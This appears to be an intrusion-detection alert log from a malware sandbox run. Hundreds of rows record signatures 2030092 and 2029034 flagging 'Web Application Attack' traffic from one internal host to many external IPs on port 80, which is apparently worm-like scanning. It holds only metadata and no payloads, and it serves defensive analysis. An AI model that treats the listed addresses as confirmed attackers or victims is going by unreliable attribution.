              2024-12-03T23:17:25.944307+010020300921Web Application Attack192.168.2.235624496.107.155.22980TCP
              2024-12-03T23:17:25.959886+010020300921Web Application Attack192.168.2.233962212.160.192.4280TCP
              2024-12-03T23:17:25.966131+010020300921Web Application Attack192.168.2.235115278.144.131.21580TCP
              2024-12-03T23:17:25.966139+010020300921Web Application Attack192.168.2.235679075.74.72.9080TCP
              2024-12-03T23:17:25.966279+010020300921Web Application Attack192.168.2.2356174173.220.212.13580TCP
              2024-12-03T23:17:25.966397+010020300921Web Application Attack192.168.2.234253047.95.27.2280TCP
              2024-12-03T23:17:25.966513+010020300921Web Application Attack192.168.2.235566224.208.155.180TCP
              2024-12-03T23:17:25.966696+010020300921Web Application Attack192.168.2.2350086143.78.20.9780TCP
              2024-12-03T23:17:25.975389+010020300921Web Application Attack192.168.2.2351300101.134.192.18880TCP
              2024-12-03T23:17:25.975616+010020300921Web Application Attack192.168.2.2354678163.53.252.6680TCP
              2024-12-03T23:17:25.975837+010020300921Web Application Attack192.168.2.234248889.11.195.12980TCP
              2024-12-03T23:17:25.975902+010020300921Web Application Attack192.168.2.235977420.91.194.4580TCP
              2024-12-03T23:17:25.976106+010020300921Web Application Attack192.168.2.2339944138.13.231.14780TCP
              2024-12-03T23:17:25.976312+010020300921Web Application Attack192.168.2.2334476190.31.142.24780TCP
              2024-12-03T23:17:25.976400+010020300921Web Application Attack192.168.2.2354584187.160.114.5380TCP
              2024-12-03T23:17:25.976500+010020300921Web Application Attack192.168.2.2347624190.9.83.12780TCP
              2024-12-03T23:17:25.976572+010020300921Web Application Attack192.168.2.2333226122.201.47.1780TCP
              2024-12-03T23:17:25.991935+010020300921Web Application Attack192.168.2.2343110169.52.180.7080TCP
              2024-12-03T23:17:25.991940+010020300921Web Application Attack192.168.2.234584864.40.203.20780TCP
              2024-12-03T23:17:26.022244+010020300921Web Application Attack192.168.2.2343126126.43.59.2880TCP
              2024-12-03T23:17:26.022316+010020300921Web Application Attack192.168.2.2337610121.157.120.23280TCP
              2024-12-03T23:17:27.059922+010020300921Web Application Attack192.168.2.235945241.70.188.24780TCP
              2024-12-03T23:17:27.060270+010020300921Web Application Attack192.168.2.2347844208.186.15.15080TCP
              2024-12-03T23:17:27.075736+010020300921Web Application Attack192.168.2.23381105.15.199.7980TCP
              2024-12-03T23:17:27.075951+010020300921Web Application Attack192.168.2.234202084.239.96.18680TCP
              2024-12-03T23:17:27.075986+010020300921Web Application Attack192.168.2.2335188167.147.161.24780TCP
              2024-12-03T23:17:27.091472+010020300921Web Application Attack192.168.2.2341410189.239.24.24680TCP
              2024-12-03T23:17:27.091593+010020300921Web Application Attack192.168.2.23383482.224.187.2380TCP
              2024-12-03T23:17:27.091738+010020300921Web Application Attack192.168.2.2343240173.199.149.7080TCP
              2024-12-03T23:17:27.092022+010020300921Web Application Attack192.168.2.233547667.246.218.18080TCP
              2024-12-03T23:17:27.092023+010020300921Web Application Attack192.168.2.233898294.6.220.16580TCP
              2024-12-03T23:17:27.100404+010020300921Web Application Attack192.168.2.2342442153.215.217.21480TCP
              2024-12-03T23:17:27.101551+010020300921Web Application Attack192.168.2.234203698.133.89.8980TCP
              2024-12-03T23:17:27.142597+010020300921Web Application Attack192.168.2.2348534209.208.34.15580TCP
              2024-12-03T23:17:27.163216+010020300921Web Application Attack192.168.2.2339350184.43.27.15080TCP
              2024-12-03T23:17:27.163281+010020300921Web Application Attack192.168.2.2349720171.127.100.9380TCP
              2024-12-03T23:17:27.178544+010020300921Web Application Attack192.168.2.2356728206.252.91.12680TCP
              2024-12-03T23:17:27.178726+010020300921Web Application Attack192.168.2.2337154194.73.27.15380TCP
              2024-12-03T23:17:27.178786+010020300921Web Application Attack192.168.2.234250647.133.174.9180TCP
              2024-12-03T23:17:27.178833+010020300921Web Application Attack192.168.2.2359392205.172.128.11880TCP
              2024-12-03T23:17:27.184820+010020300921Web Application Attack192.168.2.234154635.30.245.080TCP
              2024-12-03T23:17:27.184941+010020300921Web Application Attack192.168.2.2334222218.35.230.1280TCP
              2024-12-03T23:17:27.185159+010020300921Web Application Attack192.168.2.235153884.33.234.2680TCP
              2024-12-03T23:17:27.185323+010020300921Web Application Attack192.168.2.2352896221.111.52.5680TCP
              2024-12-03T23:17:27.194134+010020300921Web Application Attack192.168.2.23483709.5.252.16180TCP
              2024-12-03T23:17:27.194334+010020300921Web Application Attack192.168.2.235755649.56.31.17480TCP
              2024-12-03T23:17:27.194505+010020300921Web Application Attack192.168.2.235332468.11.208.11580TCP
              2024-12-03T23:17:27.200516+010020300921Web Application Attack192.168.2.234340420.160.160.8180TCP
              2024-12-03T23:17:27.200645+010020300921Web Application Attack192.168.2.235308678.187.111.4180TCP
              2024-12-03T23:17:27.200926+010020300921Web Application Attack192.168.2.234600620.22.209.9380TCP
              2024-12-03T23:17:27.201125+010020300921Web Application Attack192.168.2.2357972195.227.222.3080TCP
              2024-12-03T23:17:27.209676+010020300921Web Application Attack192.168.2.234717076.125.89.25580TCP
              2024-12-03T23:17:27.210042+010020300921Web Application Attack192.168.2.2349688191.3.17.10780TCP
              2024-12-03T23:17:27.210045+010020300921Web Application Attack192.168.2.2354122211.20.207.9080TCP
              2024-12-03T23:17:27.210158+010020300921Web Application Attack192.168.2.2351004168.182.83.9080TCP
              2024-12-03T23:17:27.210321+010020300921Web Application Attack192.168.2.235947237.40.144.21680TCP
              2024-12-03T23:17:27.210547+010020300921Web Application Attack192.168.2.234123473.95.184.19380TCP
              2024-12-03T23:17:27.216012+010020300921Web Application Attack192.168.2.23436744.11.180.11780TCP
              2024-12-03T23:17:27.225294+010020300921Web Application Attack192.168.2.235869498.127.211.8880TCP
              2024-12-03T23:17:27.225414+010020300921Web Application Attack192.168.2.233580245.201.163.13680TCP
              2024-12-03T23:17:27.225644+010020300921Web Application Attack192.168.2.2343442103.131.6.12180TCP
              2024-12-03T23:17:27.388461+010020300921Web Application Attack192.168.2.233505445.16.173.15580TCP
              2024-12-03T23:17:27.428616+010020300921Web Application Attack192.168.2.2338302220.61.134.8780TCP
              2024-12-03T23:17:27.428669+010020300921Web Application Attack192.168.2.2342338166.46.200.18380TCP
              2024-12-03T23:17:30.341254+010020300921Web Application Attack192.168.2.233867861.36.233.080TCP
              2024-12-03T23:17:30.466355+010020300921Web Application Attack192.168.2.2356806213.243.183.20880TCP
              2024-12-03T23:17:30.497559+010020300921Web Application Attack192.168.2.234807446.219.253.580TCP
              2024-12-03T23:17:30.528897+010020300921Web Application Attack192.168.2.2350980221.155.112.7680TCP
              2024-12-03T23:17:30.553575+010020300921Web Application Attack192.168.2.2351288155.0.32.3780TCP
              2024-12-03T23:17:31.388162+010020300921Web Application Attack192.168.2.2340962118.219.237.8280TCP
              2024-12-03T23:17:31.397666+010020300921Web Application Attack192.168.2.234842214.96.70.14080TCP
              2024-12-03T23:17:31.403827+010020300921Web Application Attack192.168.2.2345904116.190.35.8380TCP
              2024-12-03T23:17:31.403866+010020300921Web Application Attack192.168.2.234030861.88.46.7480TCP
              2024-12-03T23:17:31.444119+010020300921Web Application Attack192.168.2.23430024.135.147.20680TCP
              2024-12-03T23:17:31.459713+010020300921Web Application Attack192.168.2.234607099.158.112.16080TCP
              2024-12-03T23:17:32.419362+010020300921Web Application Attack192.168.2.234610242.62.14.21280TCP
              2024-12-03T23:17:32.419557+010020300921Web Application Attack192.168.2.2350432164.175.90.2480TCP
              2024-12-03T23:17:32.419730+010020300921Web Application Attack192.168.2.2344816145.90.229.280TCP
              2024-12-03T23:17:32.467798+010020300921Web Application Attack192.168.2.2344674149.166.136.11880TCP
              2024-12-03T23:17:32.467960+010020300921Web Application Attack192.168.2.2358894102.3.91.11380TCP
              2024-12-03T23:17:32.638102+010020300921Web Application Attack192.168.2.2356580178.180.2.23380TCP
              2024-12-03T23:17:32.669431+010020300921Web Application Attack192.168.2.233822444.237.70.9380TCP
              2024-12-03T23:17:32.669518+010020300921Web Application Attack192.168.2.2348990174.18.78.2680TCP
              2024-12-03T23:17:32.725747+010020300921Web Application Attack192.168.2.233390418.70.152.980TCP
              2024-12-03T23:17:33.460000+010020300921Web Application Attack192.168.2.2350116135.158.121.11880TCP
              2024-12-03T23:17:33.553709+010020300921Web Application Attack192.168.2.2354528124.134.142.5380TCP
              2024-12-03T23:17:33.553835+010020300921Web Application Attack192.168.2.2352164176.83.134.180TCP
              2024-12-03T23:17:33.575815+010020300921Web Application Attack192.168.2.2347744125.90.53.20980TCP
              2024-12-03T23:17:33.616125+010020300921Web Application Attack192.168.2.2346984176.226.179.8280TCP
              2024-12-03T23:17:33.616286+010020300921Web Application Attack192.168.2.233954045.33.194.21980TCP
              2024-12-03T23:17:33.616348+010020300921Web Application Attack192.168.2.233306035.0.129.17880TCP
              2024-12-03T23:17:34.544583+010020300921Web Application Attack192.168.2.234662423.157.14.22980TCP
              2024-12-03T23:17:34.575994+010020300921Web Application Attack192.168.2.2344910150.12.89.13680TCP
              2024-12-03T23:17:34.576043+010020300921Web Application Attack192.168.2.2359030103.226.21.9680TCP
              2024-12-03T23:17:34.576159+010020300921Web Application Attack192.168.2.236078235.104.240.15280TCP
              2024-12-03T23:17:34.585158+010020300921Web Application Attack192.168.2.2349098171.23.157.13980TCP
              2024-12-03T23:17:34.591304+010020300921Web Application Attack192.168.2.2349116222.209.238.5080TCP
              2024-12-03T23:17:34.600662+010020300921Web Application Attack192.168.2.234887498.200.12.12080TCP
              2024-12-03T23:17:34.600748+010020300921Web Application Attack192.168.2.234188095.218.225.12580TCP
              2024-12-03T23:17:34.606959+010020300921Web Application Attack192.168.2.2339236183.53.140.22180TCP
              2024-12-03T23:17:34.616178+010020300921Web Application Attack192.168.2.235148689.162.172.5380TCP
              2024-12-03T23:17:34.616305+010020300921Web Application Attack192.168.2.2348792179.13.30.25380TCP
              2024-12-03T23:17:34.632152+010020300921Web Application Attack192.168.2.2356932117.176.161.9080TCP
              2024-12-03T23:17:34.794662+010020300921Web Application Attack192.168.2.2341002158.219.141.2980TCP
              2024-12-03T23:17:34.825514+010020300921Web Application Attack192.168.2.2347340185.169.197.2880TCP
              2024-12-03T23:17:34.835561+010020300921Web Application Attack192.168.2.2352876207.63.218.14680TCP
              2024-12-03T23:17:34.841339+010020300921Web Application Attack192.168.2.2351086164.137.181.10980TCP
              2024-12-03T23:17:35.685173+010020300921Web Application Attack192.168.2.2338434211.242.92.6980TCP
              2024-12-03T23:17:35.685174+010020300921Web Application Attack192.168.2.234808460.123.91.20180TCP
              2024-12-03T23:17:35.700729+010020300921Web Application Attack192.168.2.2339936174.144.72.17180TCP
              2024-12-03T23:17:35.727959+010020300921Web Application Attack192.168.2.234618254.45.67.14780TCP
              2024-12-03T23:17:35.728161+010020300921Web Application Attack192.168.2.2352836115.97.85.7180TCP
              2024-12-03T23:17:35.763379+010020300921Web Application Attack192.168.2.2355816221.229.136.23280TCP
              2024-12-03T23:17:35.772598+010020300921Web Application Attack192.168.2.2336796163.235.157.15380TCP
              2024-12-03T23:17:35.773006+010020300921Web Application Attack192.168.2.234977069.131.169.15380TCP
              2024-12-03T23:17:35.773205+010020300921Web Application Attack192.168.2.2339582195.28.21.2080TCP
              2024-12-03T23:17:36.142514+010020300921Web Application Attack192.168.2.23504404.151.10.12580TCP
              2024-12-03T23:17:36.178748+010020300921Web Application Attack192.168.2.2339506105.52.78.25180TCP
              2024-12-03T23:17:36.763475+010020300921Web Application Attack192.168.2.233573295.238.79.24380TCP
              2024-12-03T23:17:36.763504+010020300921Web Application Attack192.168.2.2346152141.147.242.16780TCP
              2024-12-03T23:17:36.772763+010020300921Web Application Attack192.168.2.2338652100.152.35.9580TCP
              2024-12-03T23:17:36.772768+010020300921Web Application Attack192.168.2.2343918205.65.235.8380TCP
              2024-12-03T23:17:36.772847+010020300921Web Application Attack192.168.2.2343474173.48.55.17080TCP
              2024-12-03T23:17:36.772956+010020300921Web Application Attack192.168.2.2360448126.194.205.7580TCP
              2024-12-03T23:17:36.773068+010020300921Web Application Attack192.168.2.233435850.161.43.5580TCP
              2024-12-03T23:17:36.778797+010020300921Web Application Attack192.168.2.2337094121.234.2.6780TCP
              2024-12-03T23:17:36.778907+010020300921Web Application Attack192.168.2.2356256170.168.126.3680TCP
              2024-12-03T23:17:36.788055+010020300921Web Application Attack192.168.2.2332774164.19.146.17880TCP
              2024-12-03T23:17:37.178885+010020300921Web Application Attack192.168.2.2333440212.185.243.2980TCP
              2024-12-03T23:17:37.178987+010020300921Web Application Attack192.168.2.2349706209.235.15.4080TCP
              2024-12-03T23:17:37.185033+010020300921Web Application Attack192.168.2.2350514181.77.83.1880TCP
              2024-12-03T23:17:37.226694+010020300921Web Application Attack192.168.2.2355440140.171.232.17180TCP
              2024-12-03T23:17:37.294642+010020300921Web Application Attack192.168.2.2338010140.214.43.23480TCP
              2024-12-03T23:17:37.310256+010020300921Web Application Attack192.168.2.2341334206.132.219.15580TCP
              2024-12-03T23:17:37.319554+010020300921Web Application Attack192.168.2.2336218104.237.87.23380TCP
              2024-12-03T23:17:37.319615+010020300921Web Application Attack192.168.2.2350910126.170.127.8380TCP
              2024-12-03T23:17:37.319803+010020300921Web Application Attack192.168.2.235790482.161.146.21980TCP
              2024-12-03T23:17:37.325826+010020300921Web Application Attack192.168.2.2358474178.111.248.7480TCP
              2024-12-03T23:17:37.335175+010020300921Web Application Attack192.168.2.23438925.54.47.9880TCP
              2024-12-03T23:17:37.335329+010020300921Web Application Attack192.168.2.234011046.179.185.7980TCP
              2024-12-03T23:17:37.350646+010020300921Web Application Attack192.168.2.2341238158.185.230.16480TCP
              2024-12-03T23:17:37.350823+010020300921Web Application Attack192.168.2.2355326118.24.96.10380TCP
              2024-12-03T23:17:37.351252+010020300921Web Application Attack192.168.2.2334034111.183.112.12880TCP
              2024-12-03T23:17:38.388181+010020300921Web Application Attack192.168.2.233826436.139.199.20780TCP
              2024-12-03T23:17:38.419519+010020300921Web Application Attack192.168.2.2347036201.205.127.24380TCP
              2024-12-03T23:17:38.444544+010020300921Web Application Attack192.168.2.2348110101.194.178.3880TCP
              2024-12-03T23:17:38.444898+010020300921Web Application Attack192.168.2.2350560158.208.139.8280TCP
              2024-12-03T23:17:38.466779+010020300921Web Application Attack192.168.2.2344754129.219.241.17780TCP
              2024-12-03T23:17:39.122803+010020300921Web Application Attack192.168.2.235821693.82.218.15480TCP
              2024-12-03T23:17:39.147757+010020300921Web Application Attack192.168.2.2354828192.50.31.15380TCP
              2024-12-03T23:17:39.169795+010020300921Web Application Attack192.168.2.2357216181.105.47.22180TCP
              2024-12-03T23:17:39.169797+010020300921Web Application Attack192.168.2.2354008178.63.71.8480TCP
              2024-12-03T23:17:39.169897+010020300921Web Application Attack192.168.2.2339030101.35.59.11480TCP
              2024-12-03T23:17:39.170010+010020300921Web Application Attack192.168.2.2339538190.107.233.20080TCP
              2024-12-03T23:17:39.170353+010020300921Web Application Attack192.168.2.2346242164.239.150.20880TCP
              2024-12-03T23:17:39.225588+010020300921Web Application Attack192.168.2.2343060216.126.32.6480TCP
              2024-12-03T23:17:39.324009+010020300921Web Application Attack192.168.2.233320484.234.97.10080TCP
              2024-12-03T23:17:40.294679+010020300921Web Application Attack192.168.2.2343084153.12.49.14980TCP
              2024-12-03T23:17:40.372740+010020300921Web Application Attack192.168.2.2333576210.33.62.6280TCP
              2024-12-03T23:17:40.373134+010020300921Web Application Attack192.168.2.2354542191.50.71.22480TCP
              2024-12-03T23:17:40.403967+010020300921Web Application Attack192.168.2.2343518122.83.81.3280TCP
              2024-12-03T23:17:40.404124+010020300921Web Application Attack192.168.2.234509247.0.213.20580TCP
              2024-12-03T23:17:40.419540+010020300921Web Application Attack192.168.2.2337042158.73.164.12780TCP
              2024-12-03T23:17:40.419657+010020300921Web Application Attack192.168.2.234554872.158.162.25480TCP
              2024-12-03T23:17:40.428860+010020300921Web Application Attack192.168.2.234484694.117.229.13980TCP
              2024-12-03T23:17:40.439742+010020300921Web Application Attack192.168.2.2360308109.207.17.8480TCP
              2024-12-03T23:17:40.444160+010020300921Web Application Attack192.168.2.234079495.203.89.19080TCP
              2024-12-03T23:17:41.263615+010020300921Web Application Attack192.168.2.2340626109.228.229.3980TCP
              2024-12-03T23:17:41.263723+010020300921Web Application Attack192.168.2.234840693.198.207.10080TCP
              2024-12-03T23:17:41.279252+010020300921Web Application Attack192.168.2.234693696.222.109.3680TCP
              2024-12-03T23:17:41.294698+010020300921Web Application Attack192.168.2.233962664.123.102.12780TCP
              2024-12-03T23:17:41.294894+010020300921Web Application Attack192.168.2.2355460104.148.123.4480TCP
              2024-12-03T23:17:41.303838+010020300921Web Application Attack192.168.2.235401812.162.227.6980TCP
              2024-12-03T23:17:41.350864+010020300921Web Application Attack192.168.2.2332966153.221.39.15580TCP
              2024-12-03T23:17:41.351055+010020300921Web Application Attack192.168.2.2333968222.224.60.12680TCP
              2024-12-03T23:17:41.513252+010020300921Web Application Attack192.168.2.234257275.157.11.19280TCP
              2024-12-03T23:17:41.528867+010020300921Web Application Attack192.168.2.235127498.134.159.6780TCP
              2024-12-03T23:17:41.544538+010020300921Web Application Attack192.168.2.235042499.237.27.18980TCP
              2024-12-03T23:17:41.544625+010020300921Web Application Attack192.168.2.235974070.10.76.9380TCP
              2024-12-03T23:17:41.553753+010020300921Web Application Attack192.168.2.2345076108.177.60.10180TCP
              2024-12-03T23:17:41.560774+010020300921Web Application Attack192.168.2.2353618145.172.17.25580TCP
              2024-12-03T23:17:41.591493+010020300921Web Application Attack192.168.2.2357186210.170.129.19980TCP
              2024-12-03T23:17:42.386429+010020300921Web Application Attack192.168.2.2357218108.138.108.480TCP
              2024-12-03T23:17:42.544735+010020300921Web Application Attack192.168.2.2340368179.17.44.14180TCP
              2024-12-03T23:17:42.591600+010020300921Web Application Attack192.168.2.233657227.214.211.17780TCP
              2024-12-03T23:17:42.591678+010020300921Web Application Attack192.168.2.2349298177.233.208.12380TCP
              2024-12-03T23:17:42.600874+010020300921Web Application Attack192.168.2.233528032.243.68.24580TCP
              2024-12-03T23:17:42.601085+010020300921Web Application Attack192.168.2.2349870176.59.98.16780TCP
              2024-12-03T23:17:42.632024+010020300921Web Application Attack192.168.2.2348776120.161.206.6580TCP
              2024-12-03T23:17:42.716565+010020300921Web Application Attack192.168.2.234302275.201.55.22580TCP
              2024-12-03T23:17:42.725808+010020300921Web Application Attack192.168.2.235210086.57.5.11880TCP
              2024-12-03T23:17:42.726015+010020300921Web Application Attack192.168.2.2352288169.111.117.11880TCP
              2024-12-03T23:17:42.747855+010020300921Web Application Attack192.168.2.234053462.46.104.11680TCP
              2024-12-03T23:17:42.748177+010020300921Web Application Attack192.168.2.2336034180.31.104.2080TCP
              2024-12-03T23:17:42.757096+010020300921Web Application Attack192.168.2.233864461.145.237.2780TCP
              2024-12-03T23:17:42.757191+010020300921Web Application Attack192.168.2.2337084141.0.13.7780TCP
              2024-12-03T23:17:42.772875+010020300921Web Application Attack192.168.2.2360114113.229.229.6580TCP
              2024-12-03T23:17:43.476134+010020300921Web Application Attack192.168.2.2345282176.218.66.4380TCP
              2024-12-03T23:17:43.544916+010020300921Web Application Attack192.168.2.234781499.142.16.5780TCP
              2024-12-03T23:17:43.544926+010020300921Web Application Attack192.168.2.2338098118.12.236.10080TCP
              2024-12-03T23:17:43.545026+010020300921Web Application Attack192.168.2.2347282162.211.28.3580TCP
              2024-12-03T23:17:43.545163+010020300921Web Application Attack192.168.2.2344474181.255.226.19780TCP
              2024-12-03T23:17:43.545266+010020300921Web Application Attack192.168.2.2352494104.228.210.2480TCP
              2024-12-03T23:17:43.545506+010020300921Web Application Attack192.168.2.2359778160.84.155.17380TCP
              2024-12-03T23:17:43.545547+010020300921Web Application Attack192.168.2.2344928103.200.37.2480TCP
              2024-12-03T23:17:43.545570+010020300921Web Application Attack192.168.2.2333356195.84.210.15980TCP
              2024-12-03T23:17:43.553926+010020300921Web Application Attack192.168.2.235450264.247.99.8780TCP
              2024-12-03T23:17:43.569661+010020300921Web Application Attack192.168.2.2360034156.50.81.11080TCP
              2024-12-03T23:17:43.600779+010020300921Web Application Attack192.168.2.2346022196.207.212.980TCP
              2024-12-03T23:17:43.600944+010020300921Web Application Attack192.168.2.233372024.24.67.17780TCP
              2024-12-03T23:17:43.600975+010020300921Web Application Attack192.168.2.2337706183.99.184.14280TCP
              2024-12-03T23:17:44.826356+010020300921Web Application Attack192.168.2.2359810109.122.15.20580TCP
              2024-12-03T23:17:44.826631+010020300921Web Application Attack192.168.2.2356896175.250.210.2580TCP
              2024-12-03T23:17:44.841981+010020300921Web Application Attack192.168.2.235145685.181.130.22880TCP
              2024-12-03T23:17:44.842842+010020300921Web Application Attack192.168.2.2351540119.10.235.480TCP
              2024-12-03T23:17:44.857228+010020300921Web Application Attack192.168.2.235806036.138.245.12580TCP
              2024-12-03T23:17:44.882634+010020300921Web Application Attack192.168.2.2343940123.188.152.4480TCP
              2024-12-03T23:17:44.882843+010020300921Web Application Attack192.168.2.234180497.183.114.3880TCP
              2024-12-03T23:17:45.076225+010020300921Web Application Attack192.168.2.2336376153.10.180.380TCP
              2024-12-03T23:17:45.100957+010020300921Web Application Attack192.168.2.2341258146.32.250.19280TCP
              2024-12-03T23:17:45.142141+010020300921Web Application Attack192.168.2.235320437.144.233.9080TCP
              2024-12-03T23:17:45.147457+010020300921Web Application Attack192.168.2.23420582.26.191.5380TCP
              2024-12-03T23:17:45.147596+010020300921Web Application Attack192.168.2.233281240.183.93.13680TCP
              2024-12-03T23:17:45.163518+010020300921Web Application Attack192.168.2.2353474210.104.45.4080TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-03T23:16:45.710659+010020290341Web Application Attack192.168.2.2341910185.138.149.1680TCP
              2024-12-03T23:16:51.039650+010020290341Web Application Attack192.168.2.2360312108.165.135.3980TCP
              2024-12-03T23:16:51.477618+010020290341Web Application Attack192.168.2.2339544209.58.154.180TCP
              2024-12-03T23:16:54.667523+010020290341Web Application Attack192.168.2.2352298181.49.1.980TCP
              2024-12-03T23:16:54.865385+010020290341Web Application Attack192.168.2.234305445.93.92.2380TCP
              2024-12-03T23:16:55.091292+010020290341Web Application Attack192.168.2.2333214175.204.245.9080TCP
              2024-12-03T23:17:00.635509+010020290341Web Application Attack192.168.2.233428413.67.141.21380TCP
              2024-12-03T23:17:04.071515+010020290341Web Application Attack192.168.2.234925450.3.239.9180TCP
              2024-12-03T23:17:04.968596+010020290341Web Application Attack192.168.2.234433038.153.191.12480TCP
              2024-12-03T23:17:06.363990+010020290341Web Application Attack192.168.2.2357792102.72.235.21280TCP
              2024-12-03T23:17:06.419072+010020290341Web Application Attack192.168.2.233453451.51.22.880TCP
              2024-12-03T23:17:06.421964+010020290341Web Application Attack192.168.2.2342056222.216.121.16280TCP
              2024-12-03T23:17:06.434644+010020290341Web Application Attack192.168.2.2350594219.135.74.12480TCP
              2024-12-03T23:17:06.467080+010020290341Web Application Attack192.168.2.233984289.7.20.13180TCP
              2024-12-03T23:17:06.481248+010020290341Web Application Attack192.168.2.2338240205.42.223.7680TCP
              2024-12-03T23:17:06.481416+010020290341Web Application Attack192.168.2.2354802131.246.4.6380TCP
              2024-12-03T23:17:06.497169+010020290341Web Application Attack192.168.2.2347602101.46.179.1680TCP
              2024-12-03T23:17:06.497505+010020290341Web Application Attack192.168.2.2355162144.38.20.080TCP
              2024-12-03T23:17:06.544006+010020290341Web Application Attack192.168.2.233588853.132.117.18480TCP
              2024-12-03T23:17:06.544355+010020290341Web Application Attack192.168.2.2349344129.100.184.22380TCP
              2024-12-03T23:17:06.544401+010020290341Web Application Attack192.168.2.234462045.40.116.25280TCP
              2024-12-03T23:17:06.590979+010020290341Web Application Attack192.168.2.235648895.67.114.25380TCP
              2024-12-03T23:17:06.591035+010020290341Web Application Attack192.168.2.2353526153.112.177.22980TCP
              2024-12-03T23:17:06.600042+010020290341Web Application Attack192.168.2.2355950198.29.2.10380TCP
              2024-12-03T23:17:06.615596+010020290341Web Application Attack192.168.2.2350114120.173.20.19480TCP
              2024-12-03T23:17:06.637715+010020290341Web Application Attack192.168.2.2345274146.132.188.16680TCP
              2024-12-03T23:17:06.653194+010020290341Web Application Attack192.168.2.2334932104.171.23.14580TCP
              2024-12-03T23:17:06.662581+010020290341Web Application Attack192.168.2.2349530188.243.47.24980TCP
              2024-12-03T23:17:06.678080+010020290341Web Application Attack192.168.2.2337062178.209.10.7580TCP
              2024-12-03T23:17:07.434851+010020290341Web Application Attack192.168.2.2358542152.243.171.4980TCP
              2024-12-03T23:17:07.450210+010020290341Web Application Attack192.168.2.234446679.244.180.20780TCP
              2024-12-03T23:17:07.457990+010020290341Web Application Attack192.168.2.233402451.255.125.13880TCP
              2024-12-03T23:17:07.465698+010020290341Web Application Attack192.168.2.2348408211.227.175.19780TCP
              2024-12-03T23:17:07.537859+010020290341Web Application Attack192.168.2.233281812.128.53.1080TCP
              2024-12-03T23:17:07.537953+010020290341Web Application Attack192.168.2.234405452.59.102.7780TCP
              2024-12-03T23:17:07.600254+010020290341Web Application Attack192.168.2.2340424179.151.244.13980TCP
              2024-12-03T23:17:07.637794+010020290341Web Application Attack192.168.2.23557849.156.190.10480TCP
              2024-12-03T23:17:07.653553+010020290341Web Application Attack192.168.2.235761271.139.246.17480TCP
              2024-12-03T23:17:07.653577+010020290341Web Application Attack192.168.2.2334882131.92.253.18180TCP
              2024-12-03T23:17:07.653582+010020290341Web Application Attack192.168.2.2334928184.86.41.5680TCP
              2024-12-03T23:17:07.700412+010020290341Web Application Attack192.168.2.2334724175.139.215.10880TCP
              2024-12-03T23:17:07.725140+010020290341Web Application Attack192.168.2.235289852.109.45.18280TCP
              2024-12-03T23:17:07.731364+010020290341Web Application Attack192.168.2.2357244220.191.45.22680TCP
              2024-12-03T23:17:08.965732+010020290341Web Application Attack192.168.2.2348428126.128.117.17480TCP
              2024-12-03T23:17:09.006420+010020290341Web Application Attack192.168.2.2355344111.129.118.14180TCP
              2024-12-03T23:17:09.043926+010020290341Web Application Attack192.168.2.2346556136.180.192.6480TCP
              2024-12-03T23:17:09.043967+010020290341Web Application Attack192.168.2.2341164180.109.221.17280TCP
              2024-12-03T23:17:09.044103+010020290341Web Application Attack192.168.2.2356698193.187.119.180TCP
              2024-12-03T23:17:09.075284+010020290341Web Application Attack192.168.2.2355712146.160.159.12880TCP
              2024-12-03T23:17:09.075448+010020290341Web Application Attack192.168.2.2340288103.214.187.22780TCP
              2024-12-03T23:17:09.084346+010020290341Web Application Attack192.168.2.235267883.51.41.14480TCP
              2024-12-03T23:17:09.091293+010020290341Web Application Attack192.168.2.2335072177.225.31.24480TCP
              2024-12-03T23:17:09.100041+010020290341Web Application Attack192.168.2.2355066176.205.213.1780TCP
              2024-12-03T23:17:09.100196+010020290341Web Application Attack192.168.2.2347196161.47.72.13080TCP
              2024-12-03T23:17:09.100327+010020290341Web Application Attack192.168.2.2342634159.198.67.11080TCP
              2024-12-03T23:17:09.100491+010020290341Web Application Attack192.168.2.2333716219.25.117.20180TCP
              2024-12-03T23:17:09.106477+010020290341Web Application Attack192.168.2.2346746175.217.230.7080TCP
              2024-12-03T23:17:09.142225+010020290341Web Application Attack192.168.2.2360554146.197.93.17780TCP
              2024-12-03T23:17:09.512681+010020290341Web Application Attack192.168.2.235663089.106.217.24180TCP
              2024-12-03T23:17:09.530683+010020290341Web Application Attack192.168.2.2344250176.88.220.12380TCP
              2024-12-03T23:17:09.544166+010020290341Web Application Attack192.168.2.234342220.223.0.23580TCP
              2024-12-03T23:17:09.554197+010020290341Web Application Attack192.168.2.2357190204.71.210.3680TCP
              2024-12-03T23:17:09.615682+010020290341Web Application Attack192.168.2.233981214.2.153.10280TCP
              2024-12-03T23:17:09.725179+010020290341Web Application Attack192.168.2.2353122170.152.121.16980TCP
              2024-12-03T23:17:09.725184+010020290341Web Application Attack192.168.2.2359074155.203.22.12680TCP
              2024-12-03T23:17:09.965794+010020290341Web Application Attack192.168.2.2358900181.16.202.6780TCP
              2024-12-03T23:17:09.966067+010020290341Web Application Attack192.168.2.234811075.96.152.12480TCP
              2024-12-03T23:17:09.975127+010020290341Web Application Attack192.168.2.2335012116.59.162.8580TCP
              2024-12-03T23:17:09.997413+010020290341Web Application Attack192.168.2.2358128192.62.46.24080TCP
              2024-12-03T23:17:10.089859+010020290341Web Application Attack192.168.2.2357340186.45.45.22980TCP
              2024-12-03T23:17:10.089859+010020290341Web Application Attack192.168.2.2346408107.254.158.16280TCP
              2024-12-03T23:17:10.089860+010020290341Web Application Attack192.168.2.233634088.109.144.12180TCP
              2024-12-03T23:17:10.089871+010020290341Web Application Attack192.168.2.2342638177.95.70.14580TCP
              2024-12-03T23:17:10.098787+010020290341Web Application Attack192.168.2.236074480.213.14.16580TCP
              2024-12-03T23:17:10.098792+010020290341Web Application Attack192.168.2.2344924137.96.172.13780TCP
              2024-12-03T23:17:10.098798+010020290341Web Application Attack192.168.2.234141884.171.71.6780TCP
              2024-12-03T23:17:10.121132+010020290341Web Application Attack192.168.2.236064265.196.231.13180TCP
              2024-12-03T23:17:10.121132+010020290341Web Application Attack192.168.2.234732814.201.184.21880TCP
              2024-12-03T23:17:10.213462+010020290341Web Application Attack192.168.2.2354912158.229.16.17280TCP
              2024-12-03T23:17:10.213464+010020290341Web Application Attack192.168.2.2348388216.45.248.17280TCP
              2024-12-03T23:17:10.213467+010020290341Web Application Attack192.168.2.2350374118.211.183.6780TCP
              2024-12-03T23:17:10.213471+010020290341Web Application Attack192.168.2.2341142105.208.107.22080TCP
              2024-12-03T23:17:10.213471+010020290341Web Application Attack192.168.2.2336494199.96.168.17980TCP
